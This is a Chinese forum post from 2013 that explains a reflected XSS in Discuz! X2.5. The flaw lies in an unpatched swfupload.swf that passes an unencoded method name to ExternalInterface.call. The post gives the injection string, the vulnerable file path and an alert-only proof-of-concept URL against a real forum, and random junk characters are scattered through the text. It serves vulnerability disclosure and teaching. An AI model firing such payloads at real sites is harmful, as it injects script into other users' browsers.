找回密码
 立即注册
查看: 2767|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
; M( x4 s( c6 q! {" f. p
8 o/ w$ T( q) Xflash.external.ExternalInterface.call($methodName, $parameter)* \& i* F7 ], D6 d( n! D
在浏览器中执行的是
3 `" k$ m& Q$ N
& A6 s+ f- j' L8 dtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
3 f8 R8 L/ ?% M对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
7 _- K- g' j, H% a- }! R3 B8 |  x0 D. `6 g- d# `+ }3 X
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
1 i' \# p5 }! R5 n$methodName = a())}catch(e){alert(/xss/)}//
) y4 F' E- r) B2 l( Q$ e结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
( _% b" E" {5 K9 G5 k
8 t$ |: g' h, L! u/ N( d3 ctry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }& F3 K2 v1 S- Y$ s& K. l

; ?2 S3 @% `. N. T" t( q7 G0 S0 ?这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
! C/ U" a- J; s5 |+ \' S杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。+ W, V2 M- s: L: ~2 _5 j4 ~
5 i; C% q3 Q. }! p1 E& Y+ I

! V; T* @! I1 M, A9 o
* r; |# i& C: f0 _漏洞文件:upload\static\image\common\swfupload.swf
/ ]$ K% R) V+ D' N
4 ?) a3 ~0 K+ k3 C: S  O; l. t原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
' B! ~. m* H$ g0 j$ P  {4 q# A4 I  b. F7 j5 a
- I6 z  B+ W& v7 V" s
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
' Y$ S1 a' E7 p
0 }( C: v0 Z; l* @3 P$ {& R5 `& {% G1 D# A, U: L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表